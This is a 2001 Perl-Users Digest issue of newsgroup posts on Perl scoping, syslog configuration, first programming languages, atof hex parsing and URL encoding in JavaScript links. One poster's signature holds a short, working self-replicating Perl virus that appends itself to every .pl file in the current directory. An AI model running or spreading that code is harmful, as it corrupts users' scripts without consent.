[18646] in Perl-Users-Digest
Perl-Users Digest, Issue: 814 Volume: 10
daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Tue May 1 14:10:25 2001
Date: Tue, 1 May 2001 11:10:10 -0700 (PDT)
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)
Message-Id: <988740610-v10-i814@ruby.oce.orst.edu>
Content-Type: text
Perl-Users Digest Tue, 1 May 2001 Volume: 10 Number: 814
Today's topics:
Re: requiring something I only need once <bart.lateur@skynet.be>
Re: requiring something I only need once (Greg Bacon)
Re: Separate syslog file? <mischief@velma.motion.net>
Re: Should Perl be first? (Abigail)
Re: Should Perl be first? (Tad McClellan)
Re: Should Perl be first? <mischief@velma.motion.net>
Re: Should Perl be first? (Rudolf Polzer)
Re: Strange string -> num conversion (Rudolf Polzer)
Re: Strange string -> num conversion <sharding@ccbill.com>
URL encoding for CGI <fm_duende@yahoo.com>
Re: URL encoding for CGI (Jim Ley)
Digest Administrivia (Last modified: 6 Apr 01) (Perl-Users-Digest Admin)
----------------------------------------------------------------------
Date: Tue, 01 May 2001 15:57:07 GMT
From: Bart Lateur <bart.lateur@skynet.be>
Subject: Re: requiring something I only need once
Message-Id: <18ntetseq3a0tq172nrl9vvv7ci4b6kare@4ax.com>
Greg Bacon wrote:
>Not true:
> { no strict;
> my $pkg = caller;
>
> *{$pkg . '::foo'} = \@foo;
> }
Here, on the LHS, you're using a symbolic reference, hence, a global
variable.
--
Bart.
------------------------------
Date: Tue, 01 May 2001 17:57:10 -0000
From: gbacon@HiWAAY.net (Greg Bacon)
Subject: Re: requiring something I only need once
Message-Id: <tetu7maa34qg64@corp.supernews.com>
In article <18ntetseq3a0tq172nrl9vvv7ci4b6kare@4ax.com>,
Bart Lateur <bart.lateur@skynet.be> wrote:
: Greg Bacon wrote:
:
: >Not true:
:
: > { no strict;
: > my $pkg = caller;
: >
: > *{$pkg . '::foo'} = \@foo;
: > }
:
: Here, on the LHS, you're using a symbolic reference, hence, a global
: variable.
In your post, you asserted that it was necessary to lose the my. I
demonstrated that your assertion is false.
Greg
--
Isn't it a bit unnerving that doctors call what they do "practice"?
-- George Carlin
------------------------------
Date: Tue, 01 May 2001 15:10:23 -0000
From: Chris Stith <mischief@velma.motion.net>
Subject: Re: Separate syslog file?
Message-Id: <tetkev2jbimj7f@corp.supernews.com>
Porgie Tirebiter <porgie@fst.fun> wrote:
> On Sun, 29 Apr 2001 13:49:55 -0400, John Schmidt
> <js@saltmine.radix.net> wrote:
>>You have a UN*X problem, not a Perl problem. There are predefined
>>syslog facilities which *really* *should* be listed in the syslog
>>man pages.
> When you say "syslog man pages", are you talking about UNIX man pages
> or Perl man pages? I don't have any helpful syslog UNIX man pages:
> $ cd /usr/man
> $ ls */syslog*
> man2/syslog.2.gz man3/syslog.3.gz man5/syslog.conf.5.gz
> $
> Sections 2 and 3 of the manual are C function calls. I checked on
> another Linux box and got the same results.
Yes, and section 5 of the manual is for file formats and files
specific to certain programs. Hence, the reason John Schmidt
said the information about how to use the syslog.conf file
to configure syslog should be in a syslog man file.
Try:
man 5 syslog.conf
>>For a non-standard syslog facility, you'll want to use localX
>>where X is a number between 0 and 7 - at least on the above OSes.
> This is probably the information that I need to know. Thanks for the
> help.
Use the docs, Luke!
Chris
--
For the pleasure of others, please adhere to the following
rules when visiting your park:
No swimming. No fishing. No flying kites. No frisbees.
No audio equipment. Stay off grass. No pets. No running.
------------------------------
Date: Tue, 1 May 2001 15:48:09 +0000 (UTC)
From: abigail@foad.org (Abigail)
Subject: Re: Should Perl be first?
Message-Id: <slrn9etmlp.u9v.abigail@tsathoggua.rlyeh.net>
David Coppit (newspost@coppit.org) wrote on MMDCCC September MCMXCIII in
<URL:news:Pine.SUN.4.33.0105010912140.7659-100000@mamba.cs.Virginia.EDU>:
[]
[] I don't recommend this text for beginners, except to browse it in the
[] bookstore and get the gestalt that writing correct code is very hard.
[] Knuth gets into a lot of rigor that is likely to swamp a beginner. A
[] beginning data structures and algorithm book should do the trick,
[] although keep in mind that Perl's built-in data structures are so
[] powerful you may never need the DS stuff. :)
I strongly disagree with the last remark. Text books on datastructures
never discuss scalars, usually don't bother with arrays, and may
spend a small chapter on hashes.
And that's all the datastructures Perl has. But they are nothing more
than the building blocks. And unless you are only interested in
exact match queries, totally unsuitable to do any efficient searching.
It's like saying you might never need a book on building a house
because you already have shiny bricks.
Abigail
--
perl -we '$@="\145\143\150\157\040\042\112\165\163\164\040\141\156\157\164".
"\150\145\162\040\120\145\162\154\040\110\141\143\153\145\162".
"\042\040\076\040\057\144\145\166\057\164\164\171";`$@`'
------------------------------
Date: Tue, 1 May 2001 11:13:21 -0400
From: tadmc@augustmail.com (Tad McClellan)
Subject: Re: Should Perl be first?
Message-Id: <slrn9etkkh.j52.tadmc@tadmc26.august.net>
Rudolf Polzer <eins@durchnull.de> wrote:
>Martien Verbruggen <mgjv@tradingpost.com.au> wrote:
>> If you want to become a professional programmer, a good one, learn some
>> other languages, and C should probably be in there [1].
>
>Really? Is C still widely used?
^^^^^^^^^^^
Doesn't matter in the context of what knowledge makes you a better
programmer.
If C wasn't available, I might even recommend assy instead. If only
so that you'll want to kiss your compiler for saving you from
all of that.
>I even noticed it is hard to learn C when you know C++!
I noticed it is also hard to learn C when you do _not_ know C++. :-)
--
Tad McClellan SGML consulting
tadmc@augustmail.com Perl programming
Fort Worth, Texas
------------------------------
Date: Tue, 01 May 2001 16:13:18 -0000
From: Chris Stith <mischief@velma.motion.net>
Subject: Re: Should Perl be first?
Message-Id: <teto4umcm4u49c@corp.supernews.com>
Tad McClellan <tadmc@augustmail.com> wrote:
>>Your input would be much appreciated.
> This discussion has been held here dozens and dozens of times
> already. Can you just review what was said then instead of doing
> it all yet again?
> Anyway, after some experimenting around, this one gets close:
> http://groups.google.com/groups?q=first+language+group:comp.lang.perl.misc
> &as_uauthors=larry%40kiev.wall.org
> That thread wasn't actually about first languages, but it ended up
> getting there. My favorite from Larry's list of fodder is this one:
> Perl can certainly be used as a first computer language, but it was
> really designed to be a *last* computer language.
I have a few more from Larry himself:
Perl should only be studied as a second language. A good first
language would be English.
* Don't teach Perl as a first language. Instead, find a nice small
language and teach the subset of Perl that corresponds to it.
The trouble with teaching Perl as a first computer language is that your
students won't appreciate it till they start learning their second.
The trouble with teaching Perl as a second language is that there's
no single suitable first language to go in front.
Don't teach them Perl as a first language, or they'll never make it to
their second language...
* Don't let anyone tell you what your first computer language should be
before you've learned several.
Well of *course* Perl should not be taught to everyone. It should only
be taught to people who want to like their computers.
My two favorites are marked with splats.
Personally, I think Redcode is a good first language. ;-D
It teaches you a few things about how difficult lower level
languages can be without letting you damage anything. Once
you've dealt with things at an low level, you can move up to
Perl, Lisp, Caml, Eiffel, Java, or Smalltalk and really
appreciate what the language has to offer.
For those of you who don't know what Redcode is, try searching
for both 'Redcode' and for 'Core War(s?)'. Sure, it's a game,
but that has advantages over accidentally overwriting your
superblock.
Chris
--
Get real! This is a discussion group, not a helpdesk. You post
something, we discuss its implications. If the discussion happens to
answer a question you've asked, that's incidental. -- nobull, clp.misc
------------------------------
Date: Tue, 1 May 2001 22:22:15 +0200
From: eins@durchnull.de (Rudolf Polzer)
Subject: Re: Should Perl be first?
Message-Id: <slrn9eu6nn.ke.eins@www42.t-offline.de>
Tad McClellan <tadmc@augustmail.com> wrote:
> Rudolf Polzer <eins@durchnull.de> wrote:
> >Martien Verbruggen <mgjv@tradingpost.com.au> wrote:
> >> If you want to become a professional programmer, a good one, learn some
> >> other languages, and C should probably be in there [1].
> >
> >Really? Is C still widely used?
> ^^^^^^^^^^^
>
> Doesn't matter in the context of what knowledge makes you a better
> programmer.
ACK
> >I even noticed it is hard to learn C when you know C++!
> I noticed it is also hard to learn C when you do _not_ know C++. :-)
Of course. But Pascal->C is IMHO easier than C++->C: C++ and C have the
same syntax, but when you start with C++, you'll learn nothing about malloc,
char * and such things that you have to learn to deal with. When you did Pascal
before, you already know malloc as GetMem and you know the pitfalls.
Unfortunately C requires you to use that low-level memory management while
C++ does not. So you will have to learn that lowlevel things you never touched
in C++ - and they are the biggest source of bugs in C.
--
#!/usr/bin/perl -- WARNING: Be careful. This is a virus!!! # rm -rf /
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################
------------------------------
Date: Tue, 1 May 2001 19:34:28 +0200
From: eins@durchnull.de (Rudolf Polzer)
Subject: Re: Strange string -> num conversion
Message-Id: <slrn9etst4.d8k.eins@www42.t-offline.de>
Ren Maddox <ren@tivoli.com> wrote:
> On Tue, 1 May 2001, eins@durchnull.de wrote:
>
> > Ren Maddox <ren@tivoli.com> wrote:
> >> On Mon, 30 Apr 2001, eins@durchnull.de wrote:
> >>
> >> Still, the only way I can get the original "2.125" output is by
> >> including a decimal place:
> >>
> >> perl -le 'print 1 + "0x1.2"'
> >
> > Did you try the C program?
>
> I did, with results matching Perl as expected.
>
> Though I'm not sure why you ask....
I wanted to locate the bug. If I understood the perl source, I would not ask;
but this indicates that perl really relies on atof (or strtod) and therefore
is not the culprit.
--
#!/usr/bin/perl -W -- WARNING: This copies a random file from
use strict;my$s;my$n=0;for # the current directory to your
(<*>){++$n;int rand$n or$s # signature file. Use at your
=$_};`cp $s ~/.signature`; # own risk! (c) 2001 Rudolf Polzer
------------------------------
Date: Tue, 1 May 2001 10:17:30 -0700
From: "Shay Harding" <sharding@ccbill.com>
Subject: Re: Strange string -> num conversion
Message-Id: <9cmqil$1jn0$1@node17.cwnet.frontiernet.net>
"Rudolf Polzer" <eins@durchnull.de> wrote in message
news:slrn9etr8i.d8k.eins@www42.t-offline.de...
>
> Did anyone try my C program? Does it always give the same output as perl?
> Then we _have_ found a glibc bug (or a locale bug; the manpage says that
> it depends on the locale; perldoc locale shows, however, that the default
> locale is the "POSIX" locale).
>
> I post it here again:
>
> #include <stdlib.h>
> #include <stdio.h>
>
> int main (int argc, char **argv)
> {
> printf ("%f\n", atof ("0x12"));
> printf ("%f\n", atof ("0x1.2"));
> }
>
> which should normally print
>
> 0
> 0
>
> but prints on my computer
>
> 18.000000
> 1.125000
I tried it on my Mandrak 7.2 box and get:
1.125000
1.125000
Same as I get with Perl.
Shay
------------------------------
Date: Tue, 01 May 2001 17:25:45 GMT
From: "steveFarris" <fm_duende@yahoo.com>
Subject: URL encoding for CGI
Message-Id: <tkCH6.18035$3c6.4387683@news1.elmhst1.il.home.com>
I have hit a wall with this problem...The two links shown below are
identical except that the URL encoding is clobbered in one form and not the
other.
<script>
function Print(printURL) {
myWin=window.open(printURL,
"printWindow","width=500,height=300,resizable=yes,scrollbars=yes,status=0,me
nubar=yes,toolbar=no")
}
</script>
Link 1:
<a href="test.cgi?digest=RPcdx7HPHn1yRY8%2BjaCTeQ">click</a>
Link 2:
<a
href="javascript:Print('test.cgi?digest=RPcdx7HPHn1yRY8%2BjaCTeQ')">click</a
>
The first link (non-JS) will call test.cgi with an output of *Digest is
RPcdx7HPHn1yRY8+jaCTeQ*
(As you can see, the %2B is translated to a '+')
The second link that uses the javascript function will translate the %2B to
a space (' '), so test.cgi will output:
*Digest is RPcdx7HPHn1yRY8 jaCTeQ*
^^^^ the space between 8 and J
is incorrect.
Does anyone have any idea why the URL encoding differs between the two
different link styles??
------------------------------
Date: Tue, 01 May 2001 17:30:03 GMT
From: jim@jibbering.com (Jim Ley)
Subject: Re: URL encoding for CGI
Message-Id: <3aeef1ab.30645190@west.usenetserver.com>
On Tue, 01 May 2001 17:25:45 GMT, "steveFarris" <fm_duende@yahoo.com>
wrote:
>I have hit a wall with this problem...The two links shown below are
>identical except that the URL encoding is clobbered in one form and not the
>other.
>
>
>href="javascript:Print('test.cgi?digest=RPcdx7HPHn1yRY8%2BjaCTeQ')">click</a
>>
>The second link that uses the javascript function will translate the %2B to
>a space (' '), so test.cgi will output:
>*Digest is RPcdx7HPHn1yRY8 jaCTeQ*
> ^^^^ the space between 8 and J
>is incorrect.
>
>Does anyone have any idea why the URL encoding differs between the two
>different link styles??
If you'd read sensible resources as to what the javascript pseudo
protocol was for, and what it wasn't for, you'd never have found this
problem, do _not_ use the javascript pseudo protocol for this purpose
it doesn't work in lots of situations, it was defined for this.
<a href="test.cgi?etc%2Betc" target="printWindow"
onClick="window.open('','printWindow','some,features')">
Will work, and won't suffer the problem, or introduce a whole raft of
problems for other useragents.
(if you want to know why, the javascript pseudo protocol obviously
URLDecodes the function and therefore the parameter passed to
window.open is the uridecoded value, not the encoded value you used.)
Jim.
--
FAQ: http://jibbering.com/faq/
Old FAQs: http://jibbering.com/faq/old/
------------------------------
Date: 6 Apr 2001 21:33:47 GMT (Last modified)
From: Perl-Users-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin)
Subject: Digest Administrivia (Last modified: 6 Apr 01)
Message-Id: <null>
Administrivia:
The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc. For subscription or unsubscription requests, send
the single line:
subscribe perl-users
or:
unsubscribe perl-users
to almanac@ruby.oce.orst.edu.
To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.
To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
where x is the volume number and y is the issue number.
For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.
------------------------------
End of Perl-Users Digest V10 Issue 814
**************************************